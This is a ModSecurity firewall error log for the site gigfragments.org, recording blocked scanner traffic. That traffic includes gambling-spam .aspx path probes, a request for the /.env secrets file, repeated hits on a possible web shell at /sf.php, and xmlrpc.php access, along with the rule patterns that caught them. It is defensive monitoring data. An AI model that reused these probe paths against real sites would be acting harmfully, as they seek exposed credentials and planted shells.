[Tue Mar 17 22:19:05.619310 2026] [:error] [pid 46020:tid 46045] [client 75.119.155.172:48810] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abli2X-nCcd9BdzGdLejcQAAANc"]
[Tue Mar 17 22:19:07.647720 2026] [:error] [pid 45915:tid 45943] [client 75.119.155.172:23428] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abli25h7U84ydzcrcnfADQAAAA4"]
[Tue Mar 17 22:19:09.483664 2026] [:error] [pid 45915:tid 45939] [client 75.119.155.172:23444] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abli3Zh7U84ydzcrcnfAEAAAAAo"]
[Tue Mar 17 22:19:11.481274 2026] [:error] [pid 15162:tid 15184] [client 75.119.155.172:23458] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abli37kCW4399PnBfYQNcQAAAlE"]
[Tue Mar 17 22:19:13.506062 2026] [:error] [pid 14929:tid 14936] [client 75.119.155.172:23468] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abli4fTUDuLSLjNnyavpYwAAAYA"]
[Tue Mar 17 22:19:15.477152 2026] [:error] [pid 14817:tid 14841] [client 75.119.155.172:23470] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abli4-BWVgTpR3dKOgZ69gAAAU8"]
[Tue Mar 17 22:19:17.428721 2026] [:error] [pid 15011:tid 15049] [client 75.119.155.172:44934] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abli5cNtgHlAHiPlDypbpAAAAcA"]
[Tue Mar 17 22:19:19.456106 2026] [:error] [pid 15013:tid 15080] [client 75.119.155.172:44946] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abli51Zc-p7DonmJmm1WlAAAAgM"]
[Tue Mar 17 22:19:21.327788 2026] [:error] [pid 14817:tid 14839] [client 75.119.155.172:44958] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abli6eBWVgTpR3dKOgZ6_wAAAU0"]
[Tue Mar 17 22:19:23.338703 2026] [:error] [pid 22541:tid 22549] [client 75.119.155.172:44966] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abli66S6JNY1-CTsTA9C2gAAAQM"]
[Tue Mar 17 22:19:25.377939 2026] [:error] [pid 14817:tid 14849] [client 75.119.155.172:44982] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abli7eBWVgTpR3dKOgZ7CQAAAVc"]
[Tue Mar 17 22:19:27.394765 2026] [:error] [pid 14929:tid 14946] [client 75.119.155.172:4556] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abli7_TUDuLSLjNnyavpaQAAAYo"]
[Tue Mar 17 22:20:12.315934 2026] [:error] [pid 45916:tid 45962] [client 75.119.155.172:16520] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abljHLiS53PnClk_C9C2-QAAAEA"]
[Tue Mar 17 22:20:14.313921 2026] [:error] [pid 22541:tid 22569] [client 75.119.155.172:16528] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abljHqS6JNY1-CTsTA9DTQAAARc"]
[Tue Mar 17 22:20:16.294166 2026] [:error] [pid 45917:tid 45991] [client 75.119.155.172:36636] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abljIBMMhmeqL5fT_hfl7QAAAII"]
[Tue Mar 17 22:20:18.338757 2026] [:error] [pid 14817:tid 14845] [client 75.119.155.172:36638] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abljIuBWVgTpR3dKOgZ7WAAAAVM"]
[Tue Mar 17 22:20:20.395572 2026] [:error] [pid 45915:tid 45949] [client 75.119.155.172:36644] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abljJJh7U84ydzcrcnfAVgAAABQ"]
[Tue Mar 17 22:20:22.387453 2026] [:error] [pid 45917:tid 46011] [client 75.119.155.172:36654] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abljJhMMhmeqL5fT_hfl8QAAAJY"]
[Tue Mar 17 22:20:24.275352 2026] [:error] [pid 45917:tid 46005] [client 75.119.155.172:36664] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abljKBMMhmeqL5fT_hfl8wAAAJA"]
[Tue Mar 17 22:20:26.320110 2026] [:error] [pid 45915:tid 45943] [client 75.119.155.172:1616] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abljKph7U84ydzcrcnfAWQAAAA4"]
[Tue Mar 17 23:54:36.366675 2026] [:error] [pid 22541:tid 22554] [client 43.130.74.193:42202] [client 43.130.74.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abl5PKS6JNY1-CTsTA9spQAAAQg"]
[Wed Mar 18 00:26:13.588822 2026] [:error] [pid 41165:tid 41171] [client 123.187.240.242:39271] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abmApXEHb7dujURQaRbEVQAAAQQ"]
[Wed Mar 18 00:58:51.651690 2026] [:error] [pid 63612:tid 63618] [client 43.167.232.38:42990] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abmIS-7vPBSR8vo387Mb7wAAAYQ"]
[Wed Mar 18 03:58:03.866008 2026] [:error] [pid 44966:tid 45058] [client 45.171.192.110:10500] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abmyS7Hml2_01Zq4-12XGAAAAJU"]
[Wed Mar 18 06:47:47.134097 2026] [:error] [pid 13716:tid 13740] [client 43.130.110.130:49294] [client 43.130.110.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abnaE2WKzQVHkZkUHaQYQQAAAVY"]
[Wed Mar 18 06:53:14.910821 2026] [autoindex:error] [pid 44965:tid 45013] [client 20.46.120.203:34326] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 06:53:18.027051 2026] [:error] [pid 44965:tid 45027] [client 20.46.120.203:34326] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "abnbXqNZys-oG-hM22iJwgAAAFE"]
[Wed Mar 18 06:53:18.515766 2026] [:error] [pid 44965:tid 45015] [client 20.46.120.203:34367] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "abnbXqNZys-oG-hM22iJxQAAAEU"]
[Wed Mar 18 06:53:19.002838 2026] [:error] [pid 44964:tid 44982] [client 20.46.120.203:33079] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "abnbX8vMufm4ayzOOhBaogAAAAQ"]
[Wed Mar 18 06:53:19.462849 2026] [:error] [pid 44964:tid 45001] [client 20.46.120.203:33034] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "abnbX8vMufm4ayzOOhBapAAAABc"]
[Wed Mar 18 08:13:19.680431 2026] [:error] [pid 44966:tid 45038] [client 20.2.90.103:40720] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "abnuH7Hml2_01Zq4-13v_QAAAIE"]
[Wed Mar 18 11:03:58.121690 2026] [:error] [pid 43009:tid 43017] [client 135.181.213.219:22620] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aboWHn8aUp4Sm6m3nmPCGgAAAQY"]
[Wed Mar 18 11:04:00.142206 2026] [:error] [pid 31232:tid 31250] [client 135.181.213.219:50090] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aboWIGX6HV7dqh3BQD1qdwAAAE8"]
[Wed Mar 18 11:04:02.076587 2026] [:error] [pid 31232:tid 31236] [client 135.181.213.219:50104] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aboWImX6HV7dqh3BQD1qgQAAAEE"]
[Wed Mar 18 11:04:04.114472 2026] [:error] [pid 31232:tid 31236] [client 135.181.213.219:50116] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aboWJGX6HV7dqh3BQD1qowAAAEE"]
[Wed Mar 18 11:04:06.009894 2026] [:error] [pid 31232:tid 31247] [client 135.181.213.219:50124] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aboWJmX6HV7dqh3BQD1qqwAAAEw"]
[Wed Mar 18 11:04:08.050586 2026] [:error] [pid 42970:tid 42982] [client 135.181.213.219:50140] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aboWKI5YFUj4vBJI0KTehgAAAMo"]
[Wed Mar 18 11:04:10.073638 2026] [:error] [pid 31232:tid 31248] [client 135.181.213.219:33092] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aboWKmX6HV7dqh3BQD1qzwAAAE0"]
[Wed Mar 18 11:04:12.113837 2026] [:error] [pid 42970:tid 42987] [client 135.181.213.219:33096] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aboWLI5YFUj4vBJI0KTemgAAAM8"]
[Wed Mar 18 11:04:14.205007 2026] [:error] [pid 31232:tid 31253] [client 135.181.213.219:33110] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aboWLmX6HV7dqh3BQD1q3gAAAFI"]
[Wed Mar 18 11:04:16.091558 2026] [:error] [pid 42970:tid 42973] [client 135.181.213.219:33114] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aboWMI5YFUj4vBJI0KTeoQAAAME"]
[Wed Mar 18 11:04:18.507594 2026] [:error] [pid 42970:tid 42993] [client 135.181.213.219:33120] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aboWMo5YFUj4vBJI0KTeqAAAANU"]
[Wed Mar 18 11:04:20.450718 2026] [:error] [pid 43009:tid 43013] [client 135.181.213.219:36388] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aboWNH8aUp4Sm6m3nmPCggAAAQI"]
[Wed Mar 18 11:04:22.438960 2026] [:error] [pid 31232:tid 31256] [client 135.181.213.219:36392] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aboWNmX6HV7dqh3BQD1q8wAAAFU"]
[Wed Mar 18 11:04:24.545849 2026] [:error] [pid 31232:tid 31250] [client 135.181.213.219:36404] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aboWOGX6HV7dqh3BQD1rCQAAAE8"]
[Wed Mar 18 11:04:26.578993 2026] [:error] [pid 42970:tid 42975] [client 135.181.213.219:36408] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aboWOo5YFUj4vBJI0KTevQAAAMM"]
[Wed Mar 18 11:04:28.674760 2026] [:error] [pid 31232:tid 31240] [client 135.181.213.219:36422] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aboWPGX6HV7dqh3BQD1rGwAAAEU"]
[Wed Mar 18 11:04:30.707460 2026] [:error] [pid 31232:tid 31240] [client 135.181.213.219:57090] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aboWPmX6HV7dqh3BQD1rKgAAAEU"]
[Wed Mar 18 11:04:32.585299 2026] [:error] [pid 42970:tid 42986] [client 135.181.213.219:57092] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aboWQI5YFUj4vBJI0KTexgAAAM4"]
[Wed Mar 18 11:04:34.659544 2026] [:error] [pid 31232:tid 31249] [client 135.181.213.219:57106] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aboWQmX6HV7dqh3BQD1rNgAAAE4"]
[Wed Mar 18 11:04:36.761100 2026] [:error] [pid 43009:tid 43020] [client 135.181.213.219:57108] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aboWRH8aUp4Sm6m3nmPCvQAAAQk"]
[Wed Mar 18 11:04:38.835414 2026] [:error] [pid 42872:tid 42966] [client 135.181.213.219:57110] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aboWRjchM8PQMaMEWJmFbQAAAdg"]
[Wed Mar 18 11:04:40.851906 2026] [:error] [pid 42970:tid 42981] [client 135.181.213.219:21218] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aboWSI5YFUj4vBJI0KTe3wAAAMk"]
[Wed Mar 18 11:04:42.776754 2026] [:error] [pid 42970:tid 42978] [client 135.181.213.219:21222] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aboWSo5YFUj4vBJI0KTe4gAAAMY"]
